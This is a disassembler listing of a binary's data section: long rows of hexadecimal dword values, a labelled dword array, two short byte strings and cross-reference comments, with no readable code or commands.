dd 8031CFAEh, 5C7E90D0h, 0EB70EAECh, 0BF380095h, 0BC2CBE4h
dd 0C6A2A7F7h, 0FF508057h, 4C34E1F3h, 0BE165C11h, 1D0080D7h
dd 5D3DFC8Dh, 12C3806Bh, 0C171A043h, 76348CFh, 0EE58D304h
dd 0E0CC0DEh, 0D71E8F50h, 9F00F749h, 9EC39A13h, 8C24047Bh
dd 0C08DDC45h, 0D7ECBD35h, 0D5F97000h, 9737B8B0h, 6F063D39h
dd 4881C12Dh, 620E26BAh, 16728008h, 89103Dh, 0B5F7E69Dh
dd 4A921319h, 0E7AE3900h, 77425B02h, 74F100B2h, 0C93615F8h
dd 0B301324Bh, 494EE073h, 68F09BA5h, 48009541h, 0D4C5A4A7h
dd 0C9693500h, 0A557DA82h, 0EA0C729h, 47CE8F71h, 0C968CD00h
dd 250A2092h, 0E82C9630h, 20F6F70Eh, 0D3127D4Eh, 7194A21h
dd 0E9A044E4h, 3C03EC80h, 75FAAB2Eh, 0DB96C600h, 9E568651h
dd 0C2FB2408h, 0B4CB003Dh, 24B2CD98h, 89516B17h, 2CC0A11Ch
dd 0BDE07EC1h, 8CC40039h, 9038B157h, 0AB1E8083h, 0F78021BAh
dd 0CAA7FD19h, 0E5590286h, 0ECB8C263h, 0DEA198C3h, 343DC82h
dd 785D1B00h, 12DF7331h, 0B3FC7Dh, 63252338h, 96DDEC34h
dd 160FF2F2h, 651E5877h, 0BCD7E1C9h, 0DF621AF3h, 2D4D1370h
dd 7873F17Fh, 6A22810Bh, 0F909B482h, 5D3E0452h, 53D16A3h
dd 0CE92AD04h, 0E84B04D3h, 3486BD7h, 174C872Bh, 7BC0B712h
dd 6D07F9D1h, 5EFA41B3h, 2560AB61h, 0B8506430h, 0B69B006Ah
dd 0A7DD7E76h, 0FE488616h, 640570DCh, 9BD5C5BDh, 2559CC0h
dd 366001Dh, 0E1A524E5h, 867E4497h, 108F0400h, 54EA32D8h
dd 0A90916DBh, 47A01E38h, 72C6B3FFh, 0B4E1375Bh, 94F0608Ch
dd 0B0353000h, 6DFFED5Ah, 506C009Eh, 0F72692F9h, 4900D26Bh
dd 6434CBCAh, 0F62076E7h, 3FA5E4Fh, 7CD008D4h, 6F9F77F0h
dd 0AD59B00h, 14CAB92Dh, 15363A84h, 800BC58h, 0EF2496A0h
dd 0F6024B21h, 0DAAFBE11h, 0EAC5ADDh, 0EBECE4A8h, 0DED3F0E0h
dd 50000D10h, 32BF8FFFh, 0FDB89h, 4156E0C4h, 40386729h
dd 482D8C2h, 0FDF84006h, 7CC2EC16h, 50320117h, 0D5DFF44Ah
dd 403E210Dh, 0B9235FA0h, 2273D600h, 9295E0B2h, 67940050h
dd 0E1D86BE9h, 48B038E7h, 5E3890FCh, 6DB101C4h, 0ADBF51C3h
dd 4810BAD4h, 4007E075h, 5002DB1Dh, 0F29C7FCh, 6D004096h
dd 7C8BF358h, 0E60CE83Eh, 0B6721CB3h, 2064C031h, 899727C5h
dd 77372900h, 9ECA70ECh, 41E30911h, 0D0C0FDEEh, 0F100EB5Eh
dd 0DC6AD306h, 1427DA8h, 708F91AFh, 0F05F6D26h, 66FE0237h
dd 17B62400h, 0DFA49CB9h, 0EBBB008Ch, 776CA2B2h, 0C9000CB4h
dd 65C66EFFh, 1FAA9CE5h, 54CECB88h, 8B39E421h, 4F4D0D1Ch
dd 0F3C7347Eh, 12ECE0BEh, 0BC03F0C9h, 9D746B0Bh, 30F1A868h
dd 87192FFDh, 0B4075894h, 0E6138486h, 1DE76340h, 2FF30027h
dd 0B5B9A6Ch, 1700E146h, 1C38D411h, 90542Eh, 63AA1BE5h
dd 79F4B3C5h, 3FA5EE00h, 0E7DB4BABh, 33FD0388h, 4748E849h
dd 0B5F865EBh, 0BD012FB4h, 2369B9C3h, 0E9D4D73Bh, 1B31001Eh
dd 35AE1511h, 0CA01013Ch, 912283A8h, 2E3685h, 15A5D448h
dd 101F4C6Eh, 7109C80Bh, 0C63900B1h, 0F1FB26h, 4995BA47h
dd 98D641BBh, 10CD9A26h, 29DC3500h, 626CE1h, 638BD118h
dd 0B18C1116h, 0F58F0A02h, 0F152378Dh, 0DC620130h, 20CAF936h
dd 8209E74Ch, 876D56ACh, 8ED0E098h, 764B6CE2h, 0A1A46272h
dd 6446E3B9h, 87084C39h, 210FB49h, 0E08CF612h, 0F06B728Ch
dd 4DAD0ED9h, 33272806h, 0AEDDD28Eh, 1EB10D60h, 7673DA07h
dd 0EC0B3C9h, 5D6247h, 0A0B0CD52h, 0DCFAAE1Ah, 9B51A700h
dd 0C601296Ch, 0F7FD1824h, 20908821h, 0F802644Bh, 0C01829DBh
dd 6DC350h, 0EB614125h, 24EE99FCh, 7BF4CD00h, 88C95E3Fh
dd 3460028Bh, 0C46FCB03h, 545737E0h, 3F3C6A1Dh, 12F7C107h
dd 54819225h, 60801F99h, 33A478B6h, 0BE0094F0h, 558C65E9h
dd 4BD921h, 0BF6F32C1h, 0B2C644AAh, 33A8F00h, 0C78D6D92h
dd 5BE300DEh, 0BBD8B0DFh, 0FA900A07h, 0BA2C4301h, 0CC836CA7h
dd 3807F068h, 0A0C10F46h, 0B6FF26C5h, 3F4FD200h, 5056A448h
dd 9D7503E1h, 0B3985BF1h, 0EB146C90h, 0C382BA0Bh, 0AFBD80CAh
dd 0CE3935h, 77663BA7h, 31AEC6A0h, 0BFDF8003h, 87ADE024h
dd 0E8EB13F0h, 6090C4h, 0D5863817h, 0E6BC9C6Fh, 4F79F8E6h
dd 96C0D907h, 0A030C29Bh, 2B64B95h, 58E6BD08h, 6C5012A8h
dd 3B2D0307h, 0B3D02C29h, 1D10A683h, 80400E33h, 35536AFAh
dd 913B8471h, 861400E8h, 11D7689Fh, 39B800E4h, 3F3D619Ah
dd 3102A243h, 88827E35h, 0C0476295h, 20A46Ch, 8AB5BE27h
dd 9E5B7C54h, 0BA6B1C01h, 9155A93Eh, 47F1A12Ah, 5AA58158h
dd 0BF1E60C5h, 1C7F5D3Dh, 0DE82E060h, 7063F61Dh, 5E1B00E8h
dd 38545F94h, 0E1004B0Fh, 0C645D51Eh, 1F2EB4Ch, 0AE99676Fh
dd 3A9D8A6Dh, 49305400h, 0F196D3h, 0B9482B8Eh, 40FFC45Dh
dd 86876D24h, 9B4C2601h, 66C05551h, 4FBF003Ah, 23A74603h
dd 9AEC4833h, 880080E0h, 0D8AF4B1Ah, 0E76B583h, 8D2CB09Eh
dd 0CA524CC3h, 57F971D0h, 0B13F8000h, 98AD892Eh, 0D1840392h
dd 0ECD49AAEh, 1F7AFA09h, 547C81B1h, 2C63CAEFh, 0E5F17E00h
dd 7C5540AAh, 32A90600h, 36CD27FAh, 4C54037Fh, 0E3C78ED9h
dd 0D8EE6A89h, 0BA01A5B6h, 4A6EE6FCh, 0A17BE755h, 29B4DCFAh
dd 3C08E801h, 47075F32h, 0C1693087h, 6CC6B24Eh, 0F79E90A0h
dd 0A0E8193h, 0B703Ah, 0DE89E82Ch, 0B0EC387Eh, 5BE91280h
dd 0A34F7768h, 9EC8D200h, 3856BD2Eh, 6EBC3DE2h, 2BE5DE00h
dd 5526B37h, 75A6C00h, 41B27FF9h, 71CD00E9h, 0BC372595h
dd 5E008AD8h, 0A88E1EB7h, 0C0B3FA53h, 9CBE8188h, 48C7EDEEh
dd 8AB23001h, 9E909086h, 0DEC600E1h, 2B4E1ED5h, 1CE89939h
dd 0B3F91901h, 451BD75Ch, 41F130h, 54B9492Ah, 0D1518314h
dd 0D723403h, 0DC1B2F44h, 7E38B8h, 0D5C80C5Fh, 3239E7E2h
dd 0D929E0E5h, 0B363A012h, 0D8C0C801h, 0F4D8EAFBh, 0F3B400F0h
dd 0CDFD3660h, 25002B9Ah, 55527C9Bh, 306C907Bh, 0D146D005h
dd 0F200D849h, 0E3C83FEh, 0ACE873h, 0F45C3A58h, 0C54937F9h
dd 40E0B600h, 0FBFE9E13h, 12E90376h, 0BDD19074h, 545A72B8h
dd 7DB33F00h, 0BBA78DBAh, 0C7873F57h, 44EC3980h, 0F39293B5h
dd 98122707h, 31F06EC4h, 0B6EBD4h, 7E5A5072h, 0C843FEB7h
dd 9901D07h, 2B8005A2h, 497930h, 4AF974ECh, 8ED292EDh
dd 0AAB79700h, 0F8246518h, 85EF0361h, 4CB3A1B1h, 9A81B6B0h
dd 8177EA39h, 2ACD7052h, 90E05375h, 1192040Dh, 0E46C134Fh
dd 760F99B8h, 20456327h, 4674AA06h, 82A49C25h, 0C12979EFh
dd 620ACEC3h, 0C45C1E13h, 0CD955301h, 0A8EC77F2h, 0A7CA0055h
dd 166647DDh, 87584E07h, 0CB2E0120h, 0EE643858h, 2EA450D2h
dd 60981E77h, 0BF6816B1h, 0A85892F0h, 80513F9Eh, 0E12336F0h
dd 8C91F7h, 2673C8C0h, 0A0868F5Fh, 0D313B41Ch, 98C0CE92h
dd 5DA3CCh, 0ECF860FCh, 0B7999C81h, 3629C000h, 0F7B816F1h
dd 44D40001h, 975AFB17h
dd 0B3008A53h, 9F3EB7EDh, 0D91A0h, 0E052F271h, 77C46DEEh
dd 0EBC67A00h, 4E3F965Eh, 0B4AF00F5h, 681A5F42h, 0E8001FC4h
dd 656258Dh, 0C7236Fh, 69116396h, 0CBFAD741h, 493C4075h
dd 91AE8059h, 539FA3D4h, 0DC5E008Bh, 9DAAA2D9h, 0FF7F4BB7h
dd 45928100h, 1C34169Eh, 71FD0010h, 0BFDE8FA7h, 0D200734Ch
dd 8182E9B1h, 3C6D6534h, 176F509h, 2CBEF875h, 0EC168828h
dd 5008E03h, 9344292Fh, 9DECAFh, 0A7E7582Dh, 0C0830BA6h
dd 29665B00h, 0D7A1F2F3h, 551A00C3h, 47BBABCh, 0F500C871h
dd 141BF1B9h, 0E3B03Ah, 37E4EC6Fh, 723F9F6Eh, 7B00A2EEh
dd 2262FBA6h, 107F33h, 7D091EB8h, 4C8F35FAh, 0F0006BB8h
dd 0F9D88137h, 371FC45h, 0C1C5B392h, 2B904EB4h, 3E002914h
dd 0CE4284B0h, 0FADF8CE3h, 0DB503A4h, 0D52F21A6h, 1A4B9CF8h
dd 4C136400h, 7E9B7820h, 0C1BC00FEh, 569F5A8Fh, 320021C2h
dd 93E6E042h, 583977DDh, 7C005E0Eh, 2706833Bh, 0B3004299h
dd 0EABA3C94h, 1CC70455h, 403E1544h, 46F2C3FBh, 26094A5Bh
dd 408059ABh, 33AD28h, 5E54F0CBh, 5731BE4Ch, 0D03A0800h
dd 918CDF67h, 0B75B07A9h, 0A0873890h, 74C4B654h, 0F5690400h
dd 8BAC73E2h, 0DD90E9h, 5A540E80h, 8A5E1FD5h, 0C63A9900h
dd 8C877D3Dh, 0FA6100C3h, 42CFA9DFh, 0BF3CBE88h, 705B8117h
dd 86938EE9h, 0F9D0FCh, 44D2A0EEh, 535DCB5Fh, 36BAA800h
dd 132E5892h, 8A070031h, 66CE0B3Ah, 5F0133F2h, 0A06F8B22h
dd 2AF09E30h, 0FD47008Ah, 0D888910Ch, 7B75E157h, 0B81C4F98h
dd 60DE686Fh, 39000CE4h, 0BD29AC65h, 0C0565837h, 0A942DB01h
dd 0D976EF3Ah, 0D1C92001h, 8468CD00h, 6A627D0Ah, 59EC3ECCh
dd 8075089Ch, 6F1D92EFh, 3E003373h, 6A052316h, 0FC66AFh
dd 982518B1h, 0A42E834Fh, 74536F01h, 872B9D99h, 0C42AF0h
dd 0F0D3756Ch, 62C9B16Eh, 7CD6A500h, 0DFED4B6Fh, 0F9A10E5Bh
dd 9E809951h, 0FFA99724h, 0C2FB6704h, 0ECC34A39h, 1B23C8E5h
dd 932025BFh, 0DE90B000h, 4700FB5Ah, 16C356C5h, 715C9Ch
dd 6FA18F2Ah, 69EB5D7h, 0D5520B00h, 0F71CEEADh, 0D1B60062h
dd 0EDFBF43Ah, 98004BBBh, 0EBD3E088h, 3AE2D64Ah, 4200903Bh
dd 816CF68Ah, 8605D18h, 0A6E08F70h, 0A40E001Dh, 5A9EEE3Fh
dd 1403D23Eh, 1891AF65h, 0F7E5E0C4h, 0B33B03EBh, 0B44D497Ch
dd 8ED860F7h, 6C2694F6h, 0AD87AC1Ch, 572042EBh, 18AC620Bh
dd 49760FB9h, 3D308574h, 3AB0E98Fh, 0D4EF00D9h, 0E365CB2Dh
dd 0E5284D84h, 9E154C58h, 8C85EDh, 4441D7BBh, 1F47B0C9h
dd 94FE512h, 30059DCh, 96F7C31Dh, 3D084400h, 5F6942F8h
dd 0DE8C3D97h, 0C5DD7100h, 3FE999A6h, 80FDB439h, 0A23E3A9Eh
dd 3F4D3453h, 3F4C5D7h, 24AE055Ch, 0E3D09052h, 0C6B8AB4Ah
dd 5D91F80Fh, 11A0802Eh, 5CE172D8h, 1C032D2Dh, 486D999Dh
dd 66683DE8h, 2C826500h, 26ECDF11h, 1EE60063h, 2498610h
dd 0F00DA55h, 0DFE3BFDh, 77EDBFBh, 8A56986Ch, 89680E9h
dd 0DAF63C5Dh, 0A4A69C03h, 80F4C637h, 3438E0h, 0EABF1350h
dd 3A3CCA54h, 6BFB247Bh, 3BD59C02h, 5FC66088h, 0B481022Dh
dd 97833DC3h, 0E7D4B8A0h, 0B500E867h, 450F275Bh, 0E6CBF710h
dd 48D0A02Bh, 0B0E000F2h, 0B7AC0998h, 1801FF02h, 0A5184D3h
dd 49808E64h, 0B416E894h, 1B00A887h, 5141F3B6h, 231A3E5h
dd 0D4F9DFC9h, 0F4A02AFDh, 0BEE9602Bh, 0C3E4D500h, 0D4DE7FEh
dd 0A69D03F9h, 0AA9515D4h, 0B098F4A0h, 576B0B00h, 238E161Eh
dd 37EB0007h, 3BFE4B21h, 0CB185DDAh, 6BA0CFA4h, 67A135E3h
dd 61C0BFB8h, 0B75BB963h, 0F2790C00h, 400173C0h, 5AC4E348h
dd 6DF8F065h, 1DEA1DF4h, 987900DDh, 477FD839h, 8AA1F6A3h
dd 5DE830F7h, 44C35000h, 0AB9E8998h, 0CEF60051h, 202499F5h
dd 91F7756h, 898FA5E4h, 67AE9DD0h, 2DE57107h, 4D7736C0h
dd 0C470043h, 0F7341E2Eh, 0C500F8DCh, 18692AACh, 7D4976h
dd 3C90ABBEh, 0CA9A0BF1h, 6310E261h, 5F205D81h, 2D6E00B3h
dd 404C216Fh, 8072C405h, 0A36551Eh, 37ADBC00h, 0E29AA963h
dd 0C7B0005Eh, 0C6337754h, 0CE8765Ch, 1E79080Fh, 119D00F2h
dd 3E9CA21h, 71379577h, 0F6F8D348h, 0EA0E1572h, 6034D95Ah
dd 0C7F3987Fh, 52CB0076h, 0B48DE0E1h, 35F8B12Eh, 0DCAF7400h
dd 4FBB7308h, 0E79E0067h, 15EC8599h, 8D009DE4h, 0AC4BDDADh
dd 94513Ch, 0DA5AE789h, 0FA6EE9B6h, 0A93D4000h, 65302128h
dd 0D1CE3E90h, 0B1C9860h, 0E00D03E4h, 30C89C73h, 52DCF0h
dd 994B91B4h, 380BB6CDh, 0EF0769FCh, 207E6F2Ch, 0CA1790DAh
dd 4237B303h, 58110063h, 0AD78EB89h, 0AC1547C8h, 38096E9h
dd 6C59BB6Eh, 71FA802Ch, 9F2D0079h, 549BF587h, 103CEF35h
dd 0A09A87C3h, 5FE0BC1Ah, 2E41B1h, 506DFB72h, 766CB6F9h
dd 0DCCF3518h, 13BDA1C1h, 0BC71DBh, 8819ACE9h, 0DE00EC91h
dd 42359E1Ch, 50EF1DC7h, 0EA150C6h, 1F2DC447h, 1AA77BE1h
dd 95A8802Bh, 59B31CAFh, 3380012Fh, 8C84525Eh, 4916D4E4h
dd 50E741C1h, 45704139h, 0D4592642h, 0DAF4003Ch, 0FB5153A8h
dd 73858D04h, 89C065D8h, 0EF4D59h, 3BCF062h, 9C805A20h
dd 81CCF70Ah, 7E868C3Bh, 3D614835h, 0A9000FAEh, 752BDBB7h
dd 18C573F9h, 80C05B49h, 0CE3F8E8h, 2C0956ECh, 0CC0072B8h
dd 3C2D7CF7h, 3277E797h, 0BF59C986h, 0CCAA6D40h, 20B73601h
dd 0F1403401h, 129FF2FCh, 99667Ch, 942646EFh, 6800D329h
dd 7383D007h, 0F1A43A8h, 8418981Ch, 0DC04410Ah, 932D510Fh
dd 0B4BC823Eh, 2E075D14h, 0B085378Eh, 617E6BD5h, 32008479h
dd 430ED640h, 78C868h, 0DFDA711Ah, 6C43E86h, 0D900927Eh
dd 16EC6244h, 18A28Ah, 6E66BC9Eh, 6172323Ah, 750085E8h
dd 48FA4EB8h, 0EEB682h, 24406D55h, 545F73DCh, 0F49B60FBh
dd 89D0AE00h, 0DDC99102h, 0E498127Ch, 629100EDh, 7B3D1A8Ah
dd 44233900h, 0EEF06B93h, 0BDCE07B1h, 902A67F3h, 5181FDF6h
dd 0A7009A77h, 19111E3Fh, 72B4C5h, 209DC83Dh, 0F5DE7F4Eh
dd 8379EDF4h, 2682CF00h, 6CC51397h, 38CC03E6h, 40C9697Fh
dd 6E75D3A8h, 7B37095h, 0DC0B5AB0h, 70807071h, 0A3149FC0h
dd 0FD09D0Eh, 9802606Fh, 3EBCC710h, 24007638h, 0F35A4FDEh
dd 0E7009326h, 58D0DA78h, 625F55h, 744B22BBh, 8B2BE9BEh
dd 0E962126h, 65A17100h, 104884h, 4C839F08h, 863F780Eh
dd 5F9A5A02h, 7F63E2F1h, 0BA25D740h, 37F1300h, 0A49F24F0h
dd 0E51600B7h, 9B1CC7EFh, 0C200AC8Ch, 3343BD8h, 273707h
dd 26FE3963h, 590D42EAh, 0FC6CCF00h, 36EEB184h, 1FBB7076h
dd 870B4F9Ch, 309616F4h, 8E86A8BFh, 5DF66E00h, 4D8F19BDh
dd 7DDF0065h, 0DE84A2FAh, 0B100A810h, 8B2E5AA3h, 73F516BBh
dd 41981E56h, 57A00C3h, 1B67621Ch, 503DDE00h, 0B2268B32h
dd 0FA510BD5h, 2E00E575h, 2CACC3ADh, 9C8A4103h, 0A90A6A3Eh
dd 14E04428h, 0FA602C5Dh, 9D1F0038h, 232725C8h, 0BD070807h
dd 7590CA65h, 7D4EAE74h, 725A0057h, 0CD9D7F24h, 0BA00397Ch
dd 5367EE16h, 0BFF163h, 0C3F03034h, 0C55A7828h, 65197217h
dd 9512DE00h, 541EF3h, 0F95FEA2Dh, 3860417Fh, 92000179h
dd 0BF6D18E5h, 0F991FB5h, 54B4D9FDh, 0CCF5E2E0h, 0FA014711h
dd 3DE15F2Bh, 0C8D768C1h, 311E99h, 73861A48h, 0FB7AA9B4h
dd 0BA000FE2h, 7152966Bh
dd 0BE88E0h, 194EA8B7h, 0F8FEE984h, 5049BC1Ch, 0DC0FA300h
dd 75BB51CFh, 2B530279h, 75287F4Dh, 43ECC040h, 2E21E700h
dd 0BA1065F4h, 660B00B4h, 858AAFB8h, 0D25413CCh, 0E700F9F8h
dd 266827C9h, 2F069Ah, 46B0EC7Bh, 0CCDF8538h, 0A2B2AC00h
dd 8109F390h, 0C070FFh, 12D826EFh, 8AAC71Eh, 587D44F4h
dd 964F0B7h, 0A3DD4B56h, 0B7808003h, 0C59016F8h, 5917A902h
dd 608EC125h, 0FA9D44h, 0F78515Bh, 1AFBD8ECh, 914F700h
dd 0DC5F3C2Ah, 64970019h, 1E7724B1h, 8D008C87h, 9BA255C3h
dd 0E6AEE856h, 0DF9900C1h, 0F8772A01h, 0DC009298h, 0C4BCC510h
dd 10DA9E7h, 0CC5824B8h, 0CC0E40AAh, 59260C36h, 88304D07h
dd 3F1C884Bh, 0F6008E2Eh, 64BCE240h, 7E000F3Eh, 0E8FA3CD8h
dd 0BB09EDh, 2E14D313h, 0A2F51C16h, 4E7C5200h, 6D469876h
dd 98490EAh, 3C6F35EFh, 0D2F18000h, 4800D114h, 0E8ED4174h
dd 651E6C2h, 855EFC1Dh, 0F73C5024h, 0CD372850h, 71030FE2h
dd 0AB59926Fh, 5C400094h, 6607309Eh, 453E0867h, 27C400A9h
dd 20C98BBBh, 0E8B2007Dh, 46CEFD1Ch, 577B6875h, 6024F800h
dd 0E7336225h, 4AC00054h, 9D5B9128h, 0E80B022Dh, 344475h
dd 6D91B28h, 74EA7F94h, 31F41CE7h, 0A17400F8h, 486EF7B3h
dd 0EC5FE400h, 69D53777h, 50BC3FD0h, 0C26C8D00h, 0F9018B5Eh
dd 1B930803h, 0F4216D35h, 0E43CF9C0h, 508501F8h, 0FD0DD843h
dd 5A89703Fh, 7BBC6C07h, 69727ECAh, 33DA60C1h, 3601C72h
dd 58A00071h, 97377A87h, 53C28C03h, 0D8E5BF14h, 0B0DE0285h
dd 9B7700FCh, 0D1D582A6h, 0BE007B8Bh, 8E8C922h, 0BF2771h
dd 7C8ECD3Bh, 0C609EED7h, 0E7F3B300h, 9161EFF6h, 0A27302B2h
dd 128EAE6Dh, 0A53D0CC0h, 71158300h, 0F3C3F584h, 9631002Ch
dd 0C73BC8B6h, 0B8001E75h, 0CD363E12h, 7BEA042h, 72AD11ACh
dd 0E5FA2083h, 2618A638h, 9568CE64h, 1FA000D2h, 20371392h
dd 720007B2h, 1897F8D3h, 1F68A6A9h, 2958867h, 0FABC9F31h
dd 3DE27FC0h, 0D4378712h, 0D0B80C03h, 6651F8E3h, 5E6F0952h
dd 0DB82CC93h, 0D880E8A5h, 0D2201118h, 9FBE133Fh, 5421EDDh
dd 4040D568h, 0FE7902h, 0EF60432Ah, 0C728211Dh, 7220FCE3h
dd 801E1800h, 0CD59FD90h, 7A1D00E8h, 0AB26D3Fh, 100E695h
dd 2144EB18h, 876003h, 7FBD503Ah, 0E1C4B28Bh, 0A5E50B00h
dd 83AD2634h, 5CD3F09Eh, 1A00E305h, 857BBF40h, 6E010FC5h
dd 0C8586C03h, 49203019h, 3ACB00DCh, 8B31A73h, 33007A81h
dd 600E32FFh, 39F17812h, 0A4812957h, 4742B362h, 9B647484h
dd 0D0D9AB0Eh, 6A6D84A3h, 2C66A480h, 0CEC0000Bh, 65515D78h
dd 250007F5h, 2730681h, 0C80AC3h, 26B9CE2Ch, 12304E60h
dd 0D89D2A00h, 1421BDE8h, 8E75589Eh, 40C0B31Ch, 0FBF392EFh
dd 6AB291E5h, 7CC00E5Dh, 48B7C201h, 0C9C35C3Fh, 0F4586020h
dd 9F4A007Bh, 0B14180D4h, 8F05C7A8h, 0A1B4DA17h, 0F48AC0D1h
dd 1357C474h, 8BC3F9h, 0CB87E362h, 0DA03C29Dh, 307C23D6h
dd 0E5A0B81Ch, 0CC31C0FDh, 755C0624h, 9E21B133h, 3400E5AAh
dd 3FE6BC86h, 94D415F1h, 0DB381C8Dh, 14B0E380h, 0CCBAB83Ch
dd 60F88341h, 0E5FF000Dh, 19DF7BEAh, 980E135Bh, 23762459h
dd 9860BF84h, 0FD27F0h, 0AFC4784Ch, 2CB9C9CEh, 20002E72h
dd 0D58088FAh, 289B89CDh, 3D06FDFh, 82B9E8A6h, 22982174h
dd 3C008A90h, 1FF4CA1Bh, 1FE18BCEh, 4131525Eh, 8EB62A7Ah
dd 5CF9C853h, 838F9903h, 0E6470h, 0E6444EC0h, 6F30A0C4h
dd 1C1DE500h, 0CD63A8FCh, 7E101D59h, 786DD844h, 0E100DD51h
dd 7491B827h, 5DF10Dh, 0A9E6E4C8h, 6BD9BBA2h, 57F038h
dd 1A4D35B0h, 2D2E8D3h, 4E420980h, 91C0967Bh, 3E50F0D6h
dd 587108D8h, 20AACB03h, 8BF43F3Ch, 0E529B8BEh, 8DC03BABh
dd 15853E81h, 70AF083Dh, 55005A0Fh, 0CA625B46h, 37E633h
dd 5615E187h, 0C13E50FBh, 0AA807150h, 11A96E00h, 97FCAED5h
dd 7C9B06E8h, 208409E3h, 4D3E4EB0h, 0DEAB00DCh, 413B53C9h
dd 37160063h, 523E32AAh, 4900CDFFh, 5FB5D9DFh, 1D51A78h
dd 0E44DBD5Bh, 0CBE7A3AEh, 35DA12A8h, 4139E500h, 0CA6D5E03h
dd 43C600F3h, 5938D855h, 1600DB54h, 87F6413Ah, 2BE467h
dd 2165B368h, 449BA560h, 2B4BB3Ch, 0E7A27661h, 0D984C0BDh
dd 376F0C47h, 8D212593h, 0FD78A166h, 0E9812951h, 18315140h
dd 0AD860EDCh, 80CE046Ah, 9D03007Dh, 0F31BDE39h, 0FBE7A42Eh
dd 5E9C5B00h, 1240579h, 7BC14137h, 0CB13B6FEh, 9BCBE9A0h
dd 4710D960h, 3E6339h, 75517C7Eh
dword_534544 dd 9F68B09Ch, 5EBD7701h, 79A70D76h, 704DD0F3h, 29F20F7Dh
; DATA XREF: ___:00444CB4o
; ___:00444D8Co
dd 0FDE717C2h, 45CC60FBh, 0D403F993h, 16305815h, 0AF71984Dh
dd 1ECBFAA6h, 985A3AD3h, 91C40EE9h, 0B1955Ch, 1F80A772h
dd 54CAF5h, 0E70BAC48h, 52A11628h, 0BFF0FA1Eh, 64C0111Fh
dd 95D4F454h, 6F70C032h, 0E3103B1Ch, 273C5D03h, 1139DD1h
dd 92028488h, 0FC7F897Eh, 11387701h, 86188068h, 26BA272Ch
dd 0C08A00A3h, 159E0CF6h, 0A003813h, 1D93C2C1h, 1CA50B8h
dd 0EA089692h, 0ECC35888h, 4C0070D9h, 0F38AD713h, 7C4F0E9h
dd 9DAB38Fh, 748880F4h, 3F004917h, 0DB5BDDEBh, 3A98685Dh
dd 9381350Fh, 0D20E824Dh, 0AF48C446h, 0ADB8F700h, 6B645D8h
dd 0C8A7022Fh, 0AA9F0F11h, 9B599140h, 98EAA928h, 0F463ED00h
dd 5D1052B3h, 0BD5E0781h, 0ECFF693Eh, 0E072320h, 7156D91Eh
dd 0F367CE10h, 3305008Bh, 8A2854A3h, 2E00CF78h, 0EFA5EA1Dh
dd 7B24786h, 61D3294Bh, 50FAF0F0h, 0E70765D5h, 6689FC1h
dd 0CF1737F0h, 0B998002Dh, 2803C527h, 0F70021F4h, 5AD67710h
dd 50AC6Eh, 0F2AB9A83h, 0CBC6A46Ah, 91DAC500h, 0D30185C8h
dd 8056095h, 7B16CC4Ah, 134EC101h, 0A0B41C71h, 33C8BECh
dd 915B9BF0h, 609FF669h, 6E9883FFh, 8552A402h, 7D0FA5B3h
dd 38C9E900h, 0CE07DC86h, 0C19DB413h, 6810C861h, 3B34F9E0h
dd 0B6003981h, 0D23A3D5h, 2C126428h, 4F003F9Fh, 504C3805h
dd 0EC1A00B2h, 0E8F1EC9h, 0B1EDA37h, 0E1C017EAh, 0DFD4B631h
dd 38F40251h, 0D59BB17Fh, 0E2840F5h, 0B292002Ch, 3906C198h
dd 0FB0E2982h, 40342403h, 129EC769h, 3C9A79CAh, 0A803056Dh
dd 0FCC61768h, 0AF39BBh, 8530D8Ah, 0D029181Ch, 451BA280h
dd 0B04633E3h, 0D4B00CCh, 68DFD8C5h, 7A0F8C83h, 98C66734h
dd 1DE94A74h, 5F1FB908h, 8D6400BBh, 81BD26F4h, 41DBC600h
dd 0A75A663Eh, 655B00BCh, 0D3D5F113h, 0C800DF2Bh, 0D75C7493h
dd 95AA4Dh, 2D45E3F6h, 0CF7E679Ch, 0F5C1B200h, 65A6B90Eh
dd 33E53E54h, 4FE1080h, 0A141DFC6h, 0DDE22200h, 2F61D15Ah
dd 15D20036h, 0D810667Fh, 6B62A059h, 80A42338h, 0D9DD02C0h
dd 9DA80108h, 51466C70h, 2CFBC89Bh, 0C2C5D700h, 6F5E79B9h
dd 2A620157h, 0CEF904D0h, 43802021h, 4D01EF7Ch, 5AB6BE8Ch
dd 47E467D7h, 0EA69088h, 58E3C0CEh, 317DE5C0h, 0A9000B8Ah
dd 0E012C1C5h, 2E361EAFh, 0FB8D46h, 2C32F04Ah, 38C08B98h
dd 7BB68C09h, 3BF41715h, 71ED00B4h, 33C4B7A8h, 0BC5CF800h
dd 63265636h, 0C0420017h, 84283ABBh, 0DE00E14Fh, 0F3615D5Fh
dd 73EC521h, 296A6241h, 5A1580A1h, 900E5768h, 60EF9EFAh
dd 0ED20CF91h, 0F92600BEh, 0B0AFDC96h, 2E294E6Bh, 0E612034h
dd 780CF7BEh
db 0, 7Fh, 83h
aYkdB db 'µyKD(b',0 ; DATA XREF: ___:00444BE4o
; ___:00444BF4o
dw 56Bh
aUcnuf db '¼î–Nãf',0
db 67h
dd 0D11B9799h, 0CE2ED0CFh, 1EA0F048h, 0F5EF0C9Dh, 7B8ECE00h
dd 90716D9Ch, 7267548h, 0E562DBC0h, 0C29B8584h, 0C983A8D9h
dd 43E9938Dh, 0CB088076h, 0B25844Ah, 997001Eh, 83806B89h
dd 6A1E2FABh, 3F009B72h, 6F78CBE4h, 0BE8A2832h, 0E7647DA4h
dd 0E441E000h, 9380BB00h, 85D2685Ch, 328003Bh, 783D7E77h
dd 9B017F96h, 0FD5D7B2Ch, 20B00944h, 0E81681B8h, 5902DEB0h
dd 0FB7A5523h, 8580B86Eh, 66680858h, 58D0D2B8h, 170E092h
dd 69852DDDh, 0DC25B1A2h, 0E32895C9h, 8400AC56h, 0C5182B5Ah
dd 0EBF7F8h, 33103F62h, 0BC565C08h, 1FF60C0Dh, 254094CBh
dd 62D997h, 15052744h, 57A01BD7h, 0F4AF512h, 401D2205h
dd 8B958000h, 0A72A3A6Bh, 80FC0420h, 6107319Ch, 1921188Ch
dd 76073088h, 0C5BFCF51h, 0F280D05Ah, 71BAE174h, 438007B4h
dd 0C78BAE5Ch, 7F9510h, 0A03156DCh, 8F62CE75h, 93938110h
dd 5856E004h, 99715Bh, 0A31A3C0Ah, 632202C5h, 66BE6A00h
dd 0B74049BFh, 0E5100C9h, 0CD461133h, 5D003E7Bh, 19A1EADEh
dd 343B13h, 0BE8BECF6h, 2EBC3C6Eh, 0AD0B5600h, 0AC09CDD2h
dd 247675F0h, 143696DBh, 5B3AC1D1h, 0A2ABAE07h, 900A9039h
